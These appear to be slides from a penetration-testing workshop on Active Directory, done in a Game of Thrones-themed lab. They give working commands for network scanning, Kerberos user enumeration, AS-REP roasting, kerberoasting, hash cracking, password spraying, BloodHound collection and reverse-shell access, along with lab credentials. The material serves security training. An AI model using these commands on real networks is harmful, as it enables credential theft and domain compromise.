
Penetration Testing Workshop

Active Directory



Basic Overview of Active Directory

Foundational Technology:

● Enables network administrators to efficiently create and manage domains, 
users, and objects within a network.

● Scalable, facilitating the organization of an extensive number of users into 
manageable groups and subgroups.

● Controls access rights at various levels.



Active Directory Structure

A Tree is a collection of Active Directory domains that begins at a single root domain.

A Forest is a collection of AD trees.

A Forest Contains Multiple Domains

A Domain Contains Child or Sub Domains

Domains entail Organizational Units such as:

● Domain Controllers
● Users
● Computers



Active Directory Structure

Layers of Active Directory:

● Domains:
○ A collection of objects (e.g., users, devices) sharing a common database.

● Trees:
○ Groups of domains linked by a shared structure.

● Forests: 
○ A collection of multiple trees interconnected through trust relationships.
○ Represents the uppermost layer of the organizational structure.

● Additional Information:
○ Specific access and communication rights can be designated at each of these levels.



Active Directory Services

● Domain Services: Centralizes data storage and manages interactions between 
users and domains, including authentication and search functionalities.

● Certificate Services: Oversees the creation, distribution, and management of 
secure digital certificates.

● Lightweight Directory Services: Supports directory-enabled applications 
through the LDAP protocol.

● Directory Federation Services: Provides single-sign-on capabilities to 
authenticate users across multiple web applications in a single session.

● Rights Management: Safeguards copyright material by regulating its 
unauthorized distribution and use.

● DNS Service: Crucial for the resolution of domain names.



Active Directory: Terminology

Object: any resource present within an Active Directory environment such as OUs, 
printers, users, domain controllers, etc

Attributes: 

● Every object in Active Directory has an associated set of attributes used to 
define characteristics of the given object. 

○ A computer object contains attributes such as the hostname and DNS name.
○ All attributes in AD have an associated LDAP name that can be used when performing LDAP 

queries, such as displayName for Full Name and given name for First Name.



Active Directory Structure: Main Objects

Domain Computers

Domain Users

Domain Group

Information Organizational Units (OUs)

Default Domain Policy

Functional Domain Levels

Password Policy

Group Policy Objects (GPOs)

Domain Trusts

Access Control Lists (ACLs)



Global Catalog

A global catalog (GC) is a domain controller within an Active Directory forest that 
maintains copies of ALL objects in the forest.The GC:

● Stores a full copy of all objects in the current domain
● Stores a partial copy of objects that belong to other domains in the forest

Standard domain controllers within an Active Directory forest contain a full replica 
of objects specific to their own domain, but they do not hold replicas of objects 
from other domains within the same forest.



SYSVOL and NTDS

SYSVOL: The SYSVOL folder, or share, serves as a repository for replicated copies of 
public files within the domain. It stores essential components such as system policies, 
Group Policy settings, logon/logoff scripts, and frequently includes other types of scripts 
utilized to execute various tasks in the Active Directory environment.

NTDS.DIT: The NTDS.DIT file can be regarded as the core of Active Directory, residing on 
a Domain Controller at C:\Windows\NTDS. It functions as a database that stores vital AD 
information, including user and group object data, group memberships, and crucially, the 
password hashes for all domain users. When an attacker achieves full domain 
compromise, they can retrieve this file, extract the hashes, and exploit them for 
pass-the-hash attacks or offline cracking using tools like Hashcat. This grants 
unauthorized access to additional resources within the domain.



Protocols

Active Directory relies on specific protocols for authentication and communication 
purposes. These include:

● Lightweight Directory Access Protocol (LDAP)
● Microsoft's version of Kerberos for secure authentication
● DNS for name resolution and communication
● MSRPC (Microsoft Remote Procedure Call), which is Microsoft's implementation 

of the interprocess communication technique used in client-server 
model-based applications.



Kerberos

Kerberos is an open standard that promotes interoperability with other systems that 
adhere to the same standard. When a user logs into their PC, Kerberos facilitates 
mutual authentication, where both the user and the server verify their identities. 

Notably, Kerberos operates as a stateless authentication protocol that relies on 
tickets rather than transmitting user passwords over the network, enhancing 
security and reducing potential vulnerabilities.



Kerberos

The Kerberos authentication process unfolds as follows:

● Upon user login, their password is transformed into an NTLM hash, which encrypts the Ticket Granting 
Ticket (TGT) and separates the user's credentials from resource requests.

● The Key Distribution Center (KDC) service on the Domain Controller (DC) verifies the user's 
authentication service request (AS-REQ), validates the user information, and generates a TGT, which is 
then sent to the user.

● The user presents the TGT to the DC, requesting a Ticket Granting Service (TGS) ticket for a specific 
service, known as the TGS-REQ. Upon successful TGT validation, the TGS ticket is created by copying 
the TGT data.

● The TGS ticket is encrypted with the NTLM password hash of the service or computer account 
associated with the service instance. The TGS ticket is sent to the user in the TGS-REP message.

● The user presents the TGS ticket to the service, and if it is valid, the user is granted permission to 
connect to the requested resource (AP_REQ).



DNS

AD DS leverages DNS to enable clients, including workstations, servers, and other 
systems within the domain, to discover and connect with Domain Controllers. DNS 
plays a crucial role in resolving hostnames to their corresponding IP addresses, 
enabling effective communication among Domain Controllers hosting the directory 
service. DNS is widely employed across internal networks and the internet for 
various purposes.



LDAP & MSRPC

Active Directory supports Lightweight Directory Access Protocol (LDAP) for 
directory lookups. LDAP is an open-source and cross-platform protocol used for 
authentication against various directory services (such as AD).

MSRPC, or Microsoft's implementation of Remote Procedure Call (RPC), is an 
interprocess communication technique widely employed in client-server 
model-based applications. In the context of Windows systems, MSRPC plays a vital 
role in accessing systems within Active Directory. It utilizes four key RPC interfaces 
to facilitate communication and interaction with various components of Active 
Directory.



Active Directory Threats: MITRE ATT&CK



MITRE ATT&CK: Data Sources



MITRE ATT&CK: Active Directory Credential Request



MITRE ATT&CK: Active Directory Object Access



MITRE ATT&CK: Active Directory Object Creation & 
Deletion



MITRE ATT&CK:  Active Directory Object Modification



MITRE ATT&CK: Searching attributes and descriptions of 
specific attacks



MITRE ATT&CK: Searching attributes and descriptions of 
specific attacks



MITRE ATT&CK: Searching attributes and descriptions of 
specific attacks

https://attack.mitre.org/datasources/DS0026/



AD Environment-Customized Cyber Range



AD Structure

AD cyber range actually composed of five virtual machines:

● kingslanding: DC01 running on Windows Server 2019 (with windefender disabled by 
default)

● winterfell: DC02 running on Windows Server 2019 (with windefender disabled by default)
● castelblack: SRV02 running on Windows Server 2019 (with windefender disabled by 

default)
● meereen: DC03 running on Windows Server 2016 (with windefender disabled by default)
● braavos: SRV03 running on Windows Server 2016 (with windefender disabled by default)



Workshop Time

Sections:

● Reconnaissance
● User Enumeration
● Enumeration with user
● Initial Access
● Privilege Escalation
● Defense Evasion
● Collection & Exfiltration



Reconnaissance



First Steps

CrackMapExec, or CME, is a post-exploitation tool developed in Python and designed for 
penetration testing against networks. CrackMapExec collects Active Directory information to 
conduct lateral movement through targeted networks.

Lets execute it on the iprange to get fast netbios answers such as windows machine IP, names, 
Domains. Command:

crackmapexec smb 192.168.56.1/24



Results

We now know there are 3 domains:

● north.sevenkingdoms.local (2 ip)
○ CASTELBLACK (windows server 2019) (signing false)
○ WINTERFELL (windows server 2019)

● sevenkingdoms.local (1 ip)
○ KINGSLANDING (windows server 2019)

● essos.local (2 ip)
○ BRAAVOS (windows server 2016) (signing false)
○ MEEREEN (windows server 2019)



Enumerating DCs by querying the dns
nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10

● Nslookup: A network administration 
command-line tool for querying the Domain 
Name System (DNS) to obtain domain name or 
IP address mapping.

● -type=srv: Specifies the type of DNS record to 
look up. SRV records are used to define the 
location of servers for specified services.

● _ldap._tcp.dc._msdcs.sevenkingdoms.local: 
The DNS name of the service you are 
querying.

● _ldap: Indicates the LDAP service.
● _tcp: Specifies that the service runs over TCP.
● .dc: Denotes domain controllers.
● _msdcs: Refers to Microsoft-specific domain 

controllers.
● sevenkingdoms.local: The domain you are 

querying.
● 192.168.56.10: The IP address of the DNS 

server you are querying.



Setup /etc/hosts & Kerberos

To use kerberos in our Linux environment certain configurations are required:

● First we must set the DNS by configuring the /etc/hosts file:



Setup /etc/hosts & Kerberos

To use kerberos in our Linux environment certain configurations are required:

● Second we must install and configure the kerberos client:
○ sudo apt install krb5-user

●  And make the appropriate changes to the                                                                                             
krb5.conf file



Testing Kerberos

● getTGT.py essos.local/khal.drogo:horse
● export KRB5CCNAME=/workspace/khal.drogo.ccache 
● smbclient.py -k @braavos.essos.local



Testing Kerberos

● getTGT.py essos.local/khal.drogo:horse
● export KRB5CCNAME=/workspace/khal.drogo.ccache 
● smbclient.py -k @braavos.essos.local



Nmap 1/3

nmap -Pn -p- -sC -sV -oA full_scan_goad 

Nmap scan report for 192.168.56.10
Host is up (0.0068s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
53/tcp open  domain    Simple DNS Plus
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:24Z)
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
3268/tcp  open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
3269/tcp  open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf    .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC

nmap -Pn -p- -sC -sV -oA full_scan_goad 

 
Nmap scan report for 192.168.56.11
Host is up (0.0076s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
53/tcp open  domain    Simple DNS Plus
88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:31Z)
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: 
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf    .NET Message Framing
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49715/tcp open  msrpc         Microsoft Windows RPC



Nmap 2/3
nmap -Pn -p- -sC -sV -oA full_scan_goad 

 

Nmap scan report for 192.168.56.12

Host is up (0.011s latency).

Not shown: 65513 filtered tcp ports (no-response)

PORT  STATE SERVICE   VERSION

53/tcp open  domain    Simple DNS Plus

88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:36Z)

135/tcp   open  msrpc     Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp   open  ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: 

Default-First-Site-Name)

445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)

464/tcp   open  kpasswd5?

593/tcp   open  ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp   open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: 

Default-First-Site-Name)

3268/tcp  open  ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: 

Default-First-Site-Name)

3269/tcp  open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: 

Default-First-Site-Name)

3389/tcp  open  ms-wbt-server Microsoft Terminal Services

5985/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

9389/tcp  open  mc-nmf    .NET Message Framing

49666/tcp open  msrpc         Microsoft Windows RPC

49667/tcp open  msrpc         Microsoft Windows RPC

49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0

49670/tcp open  msrpc         Microsoft Windows RPC

49672/tcp open  msrpc         Microsoft Windows RPC

49686/tcp open  msrpc         Microsoft Windows RPC

55372/tcp open  msrpc         Microsoft Windows RPC

Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows

nmap -Pn -p- -sC -sV -oA full_scan_goad 

Nmap scan report for 192.168.56.22
Host is up (0.013s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.56.23
Host is up (0.0070s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp  open  ms-sql-s  Microsoft SQL Server 2019 15.00.2000.00; RTM
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49668/tcp open  msrpc         Microsoft Windows RPC
49779/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows



Nmap 3/3

nmap -Pn -p- -sC -sV -oA full_scan_goad 

 
Stats: 0:09:09 elapsed; 4 hosts completed (5 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 17:20 (0:00:00 remaining)
Nmap scan report for braavos.essos.local (192.168.56.23)
Host is up (0.00044s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: BRAAVOS
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: braavos.essos.local
|   DNS_Tree_Name: essos.local
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-07-03T13:57:51
|_Not valid after:  2052-07-03T13:57:51
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services

nmap -Pn -p- -sC -sV -oA full_scan_goad 

 
| rdp-ntlm-info: 
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: BRAAVOS
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: braavos.essos.local
|   DNS_Tree_Name: essos.local
|   Product_Version: 10.0.14393
|_  System_Time: 2022-07-03T15:20:00+00:00
| ssl-cert: Subject: commonName=braavos.essos.local
| Not valid before: 2022-06-27T22:56:08
|_Not valid after:  2022-12-27T22:56:08
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:30:05
|_Not valid after:  2025-06-26T15:30:05
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49778/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:A3:67:1D (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows



User Enumeration

cme smb 192.168.56.11 --users

We get some users with the description and get a first password as samwell.tarly got his 
password set up in description.



Enumerating password policies

crackmapexec smb 192.168.56.11 --pass-pol

The password policy show us that if we fail 5 times in 5 minutes we lock the accounts for 5 
minutes.



Anonymous listing on the NORTH DC with Enum4linux

Users



Anonymous listing on the NORTH DC with Enum4linux

Password Policy



Anonymous listing on the NORTH DC with Enum4linux

Domain Group Memberships



Anonymous listing  of domain users with rpc



Create a file that contains the GOAD characters

curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 
'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | 
awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > 
got_users.txt



Enumerating Users With NMAP

nmap -p 88 --script=krb5-enum-users 
--script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 
192.168.56.10

7 valid users found in sevenkingdoms.local



Enumerating Users With NMAP

nmap -p 88 --script=krb5-enum-users 
--script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.10

4 valid users found in essos.local



Enumerating Users With NMAP

nmap -p 88 --script=krb5-enum-users 
--script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.10

4 valid users found in essos.local



Verifying accounts

We found 4 valid users on sevenkingdoms.local

As we can see on the nmap page :

Discovers valid usernames by brute force querying likely usernames against a 
Kerberos service. When an invalid username is requested the server will respond 
using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing 
us to determine that the user name was invalid. Valid user names will illicit either 
the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, 
signaling that the user is required to perform pre authentication.

In summary, the badpwdcount will not be increased when you bruteforce users.

Let’s verify it !



Verifying accounts



List Guest Access On shares

cme smb 192.168.56.10-23 -u 'a' -p '' --shares



Lets try to get some passwords now!

Create a users txt containing: 

● sql_svc
● jeor.mormont
● samwell.tarly
● jon.snow
● hodor
● rickon.stark
● brandon.stark
● sansa.stark
● robb.stark
● catelyn.stark
● eddard.stark
● arya.stark
● krbtgt
● vagrant
● Guest
● Administrator



We start with asrep-roasting

GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt

Brandon stark hash!



Cracking the hash

We get a ticket for brandon.stark and we will try to break it as the user don’t require 
kerberos pre-authentication

hashcat -m 18200 asrephash /usr/share/wordlists/rockyou.txt

We get back iseedeadpeople



User enum: No bruteforcing

cme smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce

sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower



Check Bruteforce Status after sprayhound

● See the status of bruteforce



Results

We now got three couple of credentials :

● samwell.tarly:Heartsbane (user description)
● brandon.stark:iseedeadpeople (asreproasting)
● hodor:hodor (password spray)



Get list of users with gained credentials

GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople 



Enumeration through ldap

ldapsearch -H ldap://192.168.56.12 -D "brandon.stark@north.sevenkingdoms.local" -w 
iseedeadpeople -b ',DC=essos,DC=local' "(&(objectCategory=person)(objectClass=user))"

ldapsearch -H ldap://192.168.56.10 -D "brandon.stark@north.sevenkingdoms.local" -w 
iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))"



Kerberoasting



Kerberoasting: cme

crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d 
north.sevenkingdoms.local --kerberoasting KERBEROASTINGG



Crack hashes

hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt 
--force



Enumerate all domains with bloodhound

● bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p 
iseedeadpeople -dc winterfell.north.sevenkingdoms.local

● bloodhound.py --zip -c All -d sevenkingdoms.local -u 
brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc 
kingslanding.sevenkingdoms.local

● bloodhound.py --zip -c All -d essos.local -u 
brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc 
meereen.essos.local



Bloodhound Results



Initial Access

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore



IIS Servers



Lets try to look for file upload vulnerabilities



Lets try to look for file upload vulnerabilities

We can run dirbuster but we already know there is an upload or uploads folder

We try those first: 

We cannot access the upload directory directly 

but we have access to our page:



Lets Setup a Reverse Shell

Visit:

https://www.revshells.com/

And configure the following

options:

https://www.revshells.com/


Lets Setup a Reverse Shell

We have a reverse 
shell!



Privilege Escalation-Printspoofer



Create shared drive and run privesc script (Printspoofer)


